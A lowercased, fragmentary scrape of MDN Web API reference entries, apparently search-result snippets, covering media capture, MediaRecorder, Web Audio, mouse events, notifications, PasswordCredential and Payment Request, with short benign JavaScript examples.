the mediacapabilities.decodinginfo() method, part of the media capabilities api, returns a promise with the tested media configuration's mediacapabilitiesinfo; this contains the three boolean properties supported, smooth, and powerefficient, which describe whether decoding the media described would be supported, smooth, and powerefficient.
... example //create media configuration to be tested const mediaconfig = { type : 'file', // or 'media-source' audio : { contenttype : "audio/ogg", // valid content type channels : 2, // audio channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
... }, }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
MediaConfiguration - Web APIs
if the media is an audio file, the audio configuration must include a valid audio mime type as contenttype, the number of channels, the bitrate, and the sample rate.
... channels: number of channels used by the audio track.
... } }; const audioencoderconfig = { type : 'file', // 'record', 'transmission', or 'media-source' audio : { contenttype : "audio/ogg", // valid content type channels : 2, // audio channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
MediaDeviceInfo.deviceId - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeviceidchrome full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfilledge full support 12firefox full support 39ie no support noopera no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari...
... no support nowebview android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillchrome android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support nonotes notes this property can be used in opera by using the...
MediaDeviceInfo.kind - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkindchrome full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfilledge full support 12firefox full support 39ie no support noopera no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari ...
... no support nowebview android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillchrome android full support 55notes full support 55notes notes for earlier versions, this interface is available through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support nonotes notes this property can be used in opera by using the ada...
MediaDevices.enumerateDevices() - Web APIs
the mediadevices method enumeratedevices() requests a list of the available media input and output devices, such as microphones, cameras, headsets, and so forth.
...each object in the array describes one of the available media input and output devices.
... navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.foreach(function(device) { console.log(device.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); }); this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368...
MediaDevices.getSupportedConstraints() - Web APIs
the getsupportedconstraints() method of the mediadevices interface returns an object based on the mediatracksupportedconstraints dictionary, whose member fields each specify one of the constrainable properties the user agent understands.
...because only constraints supported by the user agent are included in the list, each of these boolean properties has the value true.
...ans-serif; } javascript let constraintlist = document.getelementbyid("constraintlist"); let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); for (let constraint in supportedconstraints) { if (supportedconstraints.hasownproperty(constraint)) { let elem = document.createelement("li"); elem.innerhtml = "<code>" + constraint + "</code>"; constraintlist.appendchild(elem); } } result specifications specification status comment media capture and streamsthe definition of 'getsupportedconstraints()' in that specification.
MediaElementAudioSourceNode - Web APIs
the amount of channels in the output equals the number of channels of the audio referenced by the htmlmediaelement used in the creation of the node, or is 1 if the htmlmediaelement has no audio.
... number of inputs 0 number of outputs 1 channel count defined by the media in the htmlmediaelement passed to the audiocontext.createmediaelementsource method that created it.
...when the mouse pointer is moved, the updatepage() function is invoked, which calculates the current gain as a ratio of mouse y position divided by overall window height.
MediaPositionState.playbackRate - Web APIs
the mediapositionstate dictionary's playbackrate property is used when calling the mediasession method setpositionstate() to tell the user agent the rate at which media is currently being played.
... this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer.
... syntax let positionstate = { playbackrate: rate }; let playbackrate = positionstate.playbackrate; value a floating-point value specifying a multiplier corresponding to the current relative rate at which the media being performed is playing.
MediaQueryListEvent - Web APIs
the mediaquerylistevent object stores information on the changes that have happened to a mediaquerylist object — instances are available as the event object on a function referenced by a mediaquerylist.onchange property or mediaquerylist.addlistener() call.
... mediaquerylistevent.matchesread only a boolean that returns true if the document currently matches the media query list, or false if not.
... examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view mo...
MediaQueryListListener - Web APIs
a mediaquerylist object maintains a list of media queries on a document, and handles sending notifications to listeners when the media queries on the document change.
... this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, if you need to detect changes to the values of media queries on a document.
... a mediaquerylistlistener is a callback function that gets invoked with a single argument, the mediaquerylist for which the evaluated result changed.
MediaRecorder: dataavailable event - Web APIs
var chunks = []; mediarecorder.addeventlistener('stop', (event) => { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); }); mediarecor...
...der.addeventlistener('dataavailable', (event) => { chunks.push(event.data); }); ...
... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder.ignoreMutedMedia - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetignoremutedmedia deprecatednon-standardchrome no support 49 — 57edge no support nofirefox ?
... ie no support noopera no support 36 — 44safari no support nowebview android no support 49 — 57chrome android no support 49 — 57firefox android ?
MediaSessionActionDetails.fastSeek - Web APIs
the boolean property fastseek in the mediasessionactiondetails dictionary is an optional value which, when specified and true, indicates that the requested seekto operation is part of an ongoing series of seekto operations.
... your handler should take steps to return as quickly as possible by skipping any steps of its operation which are only necessary when the seek operation is complete.
... syntax let mediasessionactiondetails = { fastseek: shouldfastseek }; let shouldfastseek = mediasessionactiondetails.fastseek; value a boolean which is true if the action is part of an ongoing series of seek actions which should be treated as part of an overall seek operation.
MediaSessionActionDetails.seekTime - Web APIs
to change the time by an offset rather than moving to an absolute time, the seekforward or seekbackward actions should be used instead.
... syntax let mediasessionactiondetails = { seektime: abstimeinseconds }; let abstime = mediasessionactiondetails.seektime; value a floating-point value indicating the absolute time in seconds into the media to which to move the current play position.
... usage notes to perform a "fast" seek (such as when issuing multiple seekto actions in sequence while handling a scrubbing operation, the details object's fastseek property's value is set to true, indicating that you should minimize or eliminate anything you do while handling the action that is only necessary at the final step.
MediaStream.ended - Web APIs
WebAPIMediaStreamended
the ended read-only property of the mediastream interface returns a boolean value which is true if the stream has been completely read, or false if the end of the stream has not been reached.
... this property has been removed from the specification; you should instead rely on the ended event or check the value of mediastreamtrack.readystate to see if its value is "ended" for the track or tracks you want to ensure have finished playing.
... syntax var hasended = mediastream.ended; value a boolean value that returns true if the end of the stream has been reached.
MediaStream.getVideoTracks() - Web APIs
return value an array of mediastreamtrack objects, one for each video track contained in the media stream.
... early versions of this api included a special videostreamtrack interface which was used as the type for each entry in the list of video streams; however, this has since been merged into the main mediastreamtrack interface.
... example the following example, extracted from chrome's image capture / photo resolution sample, uses getvideotracks() to retrieve a track for passing to the imagecapture() constructor.
MediaStreamAudioSourceNode.mediaStream - Web APIs
the mediastreamaudiosourcenode interface's read-only mediastream property indicates the mediastream that contains the audio track from which the node is receiving audio.
... syntax audiosourcestream = mediastreamaudiosourcenode.mediastream; value a mediastream representing the stream which contains the mediastreamtrack serving as the source of audio for the node.
...however, there is no way to be certain which track that will be on multi-track streams.
MediaStreamConstraints.audio - Web APIs
or: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain an audio-only stream with no specific constraints, then attaches the resulting stream to an <audio> element once the stream is returned.
...px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, echocancellation: true } }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which calls getusermedia(), specifying a set of audio constraints requesting that echo cancellation be enabled and that, if possible, the sample rate be 8 bits per sample instead of the more common 16 bits (...
...as long as an audio input device is available and the user allows it to be used, an audio track will be included in the resulting stream, and it will match the specified constraints as well as possible.
MediaStreamConstraints.video - Web APIs
: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain a video-only stream with no specific constraints, then attaches the resulting stream to a <video> element once the stream is returned.
...lementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate: 15 } }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which calls getusermedia(), specifying a set of video constraints that indicate a preference for a video track whose dimensions are as close as possible to 160x120 pixels, and whose frame rate is as close to 15 frames per second as possible.
... as long as a video input device is available and the user allows it to be used, a video track will be included in the resulting stream, and it will match the specified constraints as well as possible.
MediaStreamTrack.getCapabilities() - Web APIs
the getcapabilities() method of the mediastreamtrack interface returns a mediatrackcapabilities object which specifies the values or range of values which each constrainable property, based upon the platform and user agent.
... once you know what the browser's capabilities are, your script can use applyconstraints() to ask for the track to be configured to match ideal or acceptable settings.
... syntax const capabilities = track.getcapabilities() return value a mediatrackcapabilities object which specifies the value or range of values which are supported for each of the user agent's supported constrainable properties.
MediaStreamTrack.getSettings() - Web APIs
the getsettings() method of the mediastreamtrack interface returns a mediatracksettings object containing the current values of each of the constrainable properties for the current mediastreamtrack.
... note: the returned object identifies the current values of every constrainable property, including those which are platform defaults rather than having been expressly set by the site's code.
... to instead fetch the most-recently established constraints for the track's properties, as specified by the site's code, use getconstraints().
MediaStreamTrack.onunmute - Web APIs
such an event is sent when the track is again able to send data.
... syntax track.onunmute = unmutehandler; value unmutehandler is a function which is called when the mediastreamtrack receives the unmute event.
... example this example creates an unmute event handler which changes the state of a visual indicator to display the emoji character representing a "speaker" icon.
MediaStreamTrack.readyState - Web APIs
syntax const state = track.readystate value it takes one of the following values: "live" which indicates that an input is connected and does its best-effort in providing real-time data.
... in that case, the output of data can be switched on or off using the mediastreamtrack.enabled property.
... "ended" which indicates that the input is not giving any more data and will never provide new data.
MediaStreamTrack.stop() - Web APIs
examples stopping a video stream in this example, we see a function which stops a streamed video by calling stop() on every track on a given <video>.
... function stopstreamedvideo(videoelem) { const stream = videoelem.srcobject; const tracks = stream.gettracks(); tracks.foreach(function(track) { track.stop(); }); videoelem.srcobject = null; } this works by obtaining the video element's stream from its srcobject property.
...from there, all that remains to do is to iterate over the track list using foreach() and calling each track's stop() method.
MediaStreamTrackAudioSourceNode() - Web APIs
another way to create a mediastreamtrackaudiosourcenode is to call theaudiocontext.createmediastreamtracksource() method, specifying the mediastreamtrack from which you want to obtain audio.
... options a mediastreamtrackaudiosourceoptions object defining the properties you want the mediastreamtrackaudiosourcenode to have: mediastreamtrack the mediastreamtrack from which to take audio data for this node's output.
...dow.webkitaudiocontext)(); if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( { audio: true, video: false }).then(function(stream) { let options = { mediastreamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourcenode()' in that specification.
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
the mediastreamtrackaudiosourceoptions dictionary's mediastreamtrack property must contain a reference to the mediastreamtrack from which the mediastreamtrackaudiosourcenode being created using the mediastreamtrackaudiosourcenode() constructor.
... syntax mediastreamtrackaudiosourceoptions = { mediastreamtrack: audiosourcetrack; } mediastreamtrackaudiosourceoptions.mediastreamtrack = audiosourcetrack; value a mediastreamtrack from which the audio output of the new mediastreamtrackaudiosourcenode will be taken.
...dow.webkitaudiocontext)(); if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( { audio: true, video: false }).then(function(stream) { let options = { mediastreamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions.mediastream' in that specification.
MediaTrackConstraints.deviceId - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { deviceid: constraint }; constraintsobject.deviceid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) device ids which are acceptable as the source of media content.
... an exception to the rule that device ids are the same across browsing sessions: private browsing mode will use a different id, and will change it each browsing session.
MediaTrackConstraints.groupId - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { groupid: constraint }; constraintsobject.groupid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) group ids which are acceptable as the source of media content.
...that means that a given track will only return one value for the groupid when you call getcapabilities(), and keep in mind that this value will change for each browsing session.
MediaTrackConstraints.latency - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constraindouble will guide the user agent in its efforts to provide an exact match to the required latency (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
... latency is always prone to some variation due to hardware usage demands, network constraints, and so forth, so even in an "exact" match, some variation should be expected.
MediaTrackControls.volume - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constraindouble will guide the user agent in its efforts to provide an exact match to the required volume (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
... any constraint set which only permits values outside the range 0.0 to 1.0 cannot be satisfied and will result in failure.
MediaTrackSettings.autoGainControl - Web APIs
automatic gain control is a feature in which a sound source automatically manages changes in the volume of its source media to maintain a steady overall volume level.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediadevices.getsupportedconstraints().
... syntax var autogaincontrol = mediatracksettings.autogaincontrol; value a boolean value which is true if the track has automatic gain control enabled or false if agc is disabled.
MediaTrackSettings.displaySurface - Web APIs
syntax displaysurface = mediatracksettings.displaysurface; value the value of displaysurface is a string that comes from the displaycapturesurfacetype enumerated type, and is one of the following: application the stream's video track contains all of the windows belonging to the application chosen by the user.
... browser the stream's video track presents the entire contents of a single browser tab which the user selected during the getdisplaymedia() call.
...any empty space (if the displays are of different dimensions) is filled with a backdrop chosen by the user agent.
MediaTrackSettings.sampleRate - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediadevices.getsupportedconstraints().
... syntax var samplerate = mediatracksettings.samplerate; value an integer value indicating how many samples each second of audio data includes.
...however, lower values are often used to reduce bandwidth requirements; 8,000 samples per second is adequate for comprehensible albeit imperfect human speech, and both 11,025 fps and 22,050 fps are often used for low-bandwidth, reduced quality sound and music.
MessageEvent.MessageEvent() - Web APIs
source: an messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter.
... ports: an array of messageport objects representing the ports associated with the channel the message is being sent through (where appropriate, e.g.
... in channel messaging or when sending a message to a shared worker).
MouseEvent.buttons - Web APIs
the mouseevent.buttons read-only property indicates which buttons are pressed on the mouse (or other input device) when a mouse event is triggered.
... each button that can be pressed is represented by a given number (see below).
...pre> javascript let log = document.createtextnode('?'); // let log = new text('?'); function logbuttons(e) { log.data = `${e.buttons} (${e.type})`; // log.nodevalue= `${e.buttons} (${e.type})`; } document.addeventlistener('mouseup', logbuttons); document.addeventlistener('mousedown', logbuttons); // document.addeventlistener('mousemove', logbuttons); document.queryselector('#log').appendchild(log) result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.buttons' in that specification.
MouseEvent.initMouseEvent() - Web APIs
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... once dispatched, it doesn't do anything anymore.
...text"> </div> javascript document.body.onclick = function(){ e = arguments[0]; var dt = e.target,stag = dt.tagname.tolowercase(); document.getelementbyid("out").innerhtml = stag; }; var simulateclick = function(){ var evt = document.createevent("mouseevents"); evt.initmouseevent("click", true, true, window, 0, 0, 0, 80, 20, false, false, false, false, 0, null); document.body.dispatchevent(evt); } simulateclick(); result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.initmouseevent()' in that specification.
MouseEvent.mozInputSource - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...this lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).
... moz_source_touch 5 the event was generated on a touch interface.
msRealTime - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msrealtime is a read/write property which specifies whether or not to enable low-latency playback on the media element.
... msrealtime should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as this can affects playback startup latency of audio and video playback.
MutationObserver.disconnect() - Web APIs
the mutationobserver method disconnect() tells the observer to stop watching for mutations.
... usage notes if the element being observed is removed from the dom, and then subsequently released by the browser's garbage collection mechanism, the mutationobserver is likewise deleted.
... const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* some time later...
NamedNodeMap - Web APIs
a namednodemap object is live and will thus be auto-updated if changes are made to its contents internally or elsewhere.
... although called namednodemap, this interface doesn't deal with node objects but with attr objects, which were originally a specialized class of node, and still are in some implementations.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'namednodemap' in that specification.
Navigator.cookieEnabled - Web APIs
note: when the browser is configured to block third-party cookies, and navigator.cookieenabled is invoked inside a third-party iframe, it returns true in safari, edge spartan and ie (while trying to set a cookie in such scenario would fail).
... it returns false in firefox and chromium-based browsers.
...for example, chrome 80+ does not allow creating cookies with samesite=none attribute, unless they are created over https and with secure attribute.
Navigator.requestMediaKeySystemAccess() - Web APIs
the navigator.requestmediakeysystemaccess() method returns a promise which delivers a mediakeysystemaccess object that can be used to access a particular media key system, which can in turn be used to create keys for decrypting a media stream.
... this method is part of the encrypted media extensions api, which brings support for encrypted media and drm-protected video to the web.
... this method may have user-visible effects such as asking for permission to access one or more system resources.
Navigator.xr - Web APIs
WebAPINavigatorxr
the read-only xr property provided by the navigator or workernavigator interface returns an xr object which can be used to access the webxr device api.
... usage notes each window has its own instance of navigator, which can be accessed as window.navigator or simply as navigator.
... at the same time, a new xr instance is also created and attached to the navigator instance as navigator.xr.
NavigatorID.platform - Web APIs
syntax platform = navigator.platform value a domstring identifying the platform on which the browser is running, or an empty string if the browser declines to (or is unable to) identify the platform.
... platform is a string that must be an empty string or a string representing the platform on which the browser is executing.
... for example: "macintel", "win32", "freebsd i386", "webtv os" example console.log(navigator.platform); usage notes most browsers, including chrome, edge, and firefox 63 and later, return "win32" even if running on a 64-bit version of windows.
NavigatorPlugins.plugins - Web APIs
applications that must check for the presence of a browser plugin should query navigator.plugins or navigator.mimetypes by exact name instead of enumerating the navigator.plugins array and comparing every plugin's name.
... this privacy change does not disable any plugins; it just hides some plugin names from enumeration.
...in chrome) return flash.description.replace(/shockwave flash /,""); } } the following example displays information about the installed plugin(s).
NetworkInformation - Web APIs
the networkinformation interface provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes.
... networkinformation.downlinkmax read only returns the maximum downlink speed, in megabits per second (mbps), for the underlying connection technology.
...it will be one of the following values: bluetooth cellular ethernet none wifi wimax other unknown event handlers networkinformation.onchange the event that's fired when connection information changes and the change is fired on this object.
Node.getRootNode() - Web APIs
WebAPINodegetRootNode
the getrootnode() method of the node interface returns the context object's root, which optionally includes the shadow root if it is available.
...(see the full source code): <!-- source: https://github.com/jserz/js_piece/blob/master/dom/node/getrootnode()/demo/getrootnode.html --> <div class="js-parent"> <div class="js-child"></div> </div> <div class="js-shadowhost"></div> <script> // works on chrome 54+,opera 41+ var parent = document.queryselector('.js-parent'), child = document.queryselector('.js-child'), shadowhost = document.queryselector('.js-shadowhost'); console.log(parent.getrootnode().nodename); // #document console.log(child.getrootnode().nodename); // #document // create a sh...
...adowroot var shadowroot = shadowhost.attachshadow({mode:'open'}); shadowroot.innerhtml = '<style>div{background:#2bb8aa;}</style>' + '<div class="js-shadowchild">content</div>'; var shadowchild = shadowroot.queryselector('.js-shadowchild'); // the default value of composed is false console.log(shadowchild.getrootnode() === shadowroot); // true console.log(shadowchild.getrootnode({composed:false}) === shadowroot); // true console.log(shadowchild.getrootnode({composed:true}).nodename); // #document </script> specifications specification status comment domthe definition of 'getrootnode()' in that specification.
Node.isSupported() - Web APIs
WebAPINodeisSupported
this is the same name which can be passed to the method hasfeature on domimplementation.
... example <div id="doc"> </div> <script> // get an element and check to see if its supports the dom2 html module.
... obsolete no change from document object model (dom) level 2 core specification.
Node.textContent - Web APIs
WebAPINodetextContent
for other node types, textcontent returns the concatenation of the textcontent of every child node, excluding comments and processing instructions.
... (this is an empty string if the node has no children.) setting textcontent on a node removes all of the node's children and replaces them with a single text node with the given string value.
...(reflows can be computationally expensive, and thus should be avoided when possible.) unlike textcontent, altering innertext in internet explorer (version 11 and below) removes child nodes from the element and permanently destroys all descendant text nodes.
Notification.maxActions - Web APIs
effectively, this is the maximum number of elements in notification.actions array which will be respected by the user agent.
... syntax notification.maxactions value an integer number which indicates the largest number of notification actions that can be presented to the user by the user agent and the device.
... const maxactions = notification.maxactions; console.log('this device can display at most ' + maxactions + ' actions on each notification.'); specifications specification status comment notifications api living standard living standard ...
NotificationEvent.notification - Web APIs
the notification provides read-only access to many properties that were set at the instantiation time of the notification such as tag and data attributes that allow you to store information for defered use in the notificationclick event.
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click'); // data can be attached to the notification so that you // can process it in the notificationclick handler.
... console.log('notification tag:', event.notification.tag); console.log('notification data:', event.notification.data); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notification' in that specification.
NotifyAudioAvailableEvent - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...the data is a series of audio samples, each sample containing one 32-bit value per audio channel.
... time a floating-point value indicating the time in seconds at which the first sample in the framebuffer occurs, relative to the start of the audio track.
OES_vertex_array_object.createVertexArrayOES() - Web APIs
the oes_vertex_array_object.createvertexarrayoes() method of the webgl api creates and initializes a webglvertexarrayobject object that represents a vertex array object (vao) pointing to vertex array data and which provides names for different sets of vertex data.
... return value a webglvertexarrayobject representing a vertex array object (vao) which points to vertex array data.
...// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
OES_vertex_array_object - Web APIs
the oes_vertex_array_object extension is part of the webgl api and provides vertex array objects (vaos) which encapsulate vertex array states.
... constants this extension exposes one new constant, which can be used in the gl.getparameter() method: ext.vertex_array_binding_oes returns a webglvertexarrayobject object when used in the gl.getparameter() method as the pname parameter.
...// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
OfflineAudioContext.startRendering() - Web APIs
the startrendering() method of the offlineaudiocontext interface starts rendering the audio graph, taking into account the current connections and the current scheduled changes.
...the former will eventually be removed, but currently both mechanisms are provided for legacy reasons.
...rtrendering().then(function(renderedbuffer) { console.log('rendering completed successfully'); var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var song = audioctx.createbuffersource(); song.buffer = renderedbuffer; song.connect(audioctx.destination); play.onclick = function() { song.start(); } }).catch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrendering is called a second time on an offlineaudiocontext }); }); } request.send(); } // run getdata to start the process off getdata(); specifications specification status comment web audio apithe definition of 'startrendering()' i...
PannerNode.positionY - Web APIs
the complete vector is defined by the position of the audio source, given as (positionx, positiony, positionz), and the orientation of the audio source (that is, the direction in which it's facing), given as (orientationx, orientationy, orientationz).
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
...note that in this case, the change will mainly affect the timbre of the oscillator, as it's a simple mono wave.
PannerNode.positionZ - Web APIs
the complete vector is defined by the position of the audio source, given as (positionx, positiony, positionz), and the orientation of the audio source (that is, the direction in which it's facing), given as (orientationx, orientationy, orientationz).
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
...note that in this case, the change will mainly affect the timbre and perceived volume of the sound.
PannerNode.setPosition() - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
PasswordCredential.idName - Web APIs
the idname property of the passwordcredential interface returns a usvstring, representing the name that will be used for the id field, when submitting the current object to a remote endpoint via fetch.
... this property defaults to 'username', but may be set to match whatever your backend service expects.
... syntax var idname = passwordcredential.idname passwordcredential.idname = "userid" value a usvstring represents the name used for the id field, when submitting the current object to a remote endpoint via fetch.
PasswordCredential.passwordName - Web APIs
the passwordname property of the passwordcredential interface returns a usvstring, depicting the name used by the password field, when submitting the current object to a remote endpoint via fetch.
... this property defaults to 'password', but may be matched to anything your backend service expects.
... syntax var passwordname = passwordcredential.passwordname passwordcredential.passwordname = "passcode" value a usvstring representing the password field name, used when submitting the current object to a remote endpoint via fetch.
Path2D.addPath() - Web APIs
WebAPIPath2DaddPath
(technically a dommatrixinit object).
... html <canvas id="canvas"></canvas> javascript first, we create two separate path2d objects, each of which contains a rectangle made using the rect() method.
...finally, we draw the first path (which now contains both rectangles) using fill().
PaymentAddress.addressLine - Web APIs
the addressline read-only property of the paymentaddress interface is an array of domstring objects, each specifying a line of the address that is not covered by one of the other properties of paymentaddress.
... syntax var paymentaddresslines = paymentaddress.addressline; value an array of domstring objects, each containing one line of the address.
...he mozilla space in london would have the following entries: example showing addressline entries for an address in london index addressline[] value 0 metal box factory 1 suite 441, 4th floor 2 30 great guildford street these, combined with additional values for other properties of the paymentaddress, would represent the full address, which is: mozilla metal box factory suite 441, 4th floor 30 great guildford street london se1 0hs united kingdom specifications specification status comment payment request apithe definition of 'paymentaddress.addressline' in that specification.
PaymentCurrencyAmount.currency - Web APIs
the paymentcurrencyamount property currency is a string which specifies the currency in which the value is specified.
... syntax currency = paymentcurrencyamount.currency; value a domstring specifying the canonical, three-character currency identification code defined by the iso 4217 standard.
... this is the currency in which the payment's value is given.
PaymentCurrencyAmount.value - Web APIs
an optional leading minus sign ("-") can be included to indicate a negative value, such as to represent a refund or discount.
... for uniformity and consistency, the value is always given using the period (".") as the decimal character, regardless of the user's locale.
...ars: let itemprice = { currency: "usd", value: "42.95" }; this example specifies a price of £7.77: let shippingcost = { currency: "gbp", value: "7.77" } this example specifies a price of 1000¥: let price = { currency: "jpy", value: "1000" } verifying a properly formatted price you can ensure that the value entered as a price is formatted correctly prior to submission by matching it against a simple regular expression: function checkpriceformat(price) { let validregex = /^-?[0-9]+(\.[0-9]+)?$/; return validregex.test(price); } this function, checkpriceformat(), will return true if the specified price string is formatted properly, or false if it's not.
PaymentDetailsBase - Web APIs
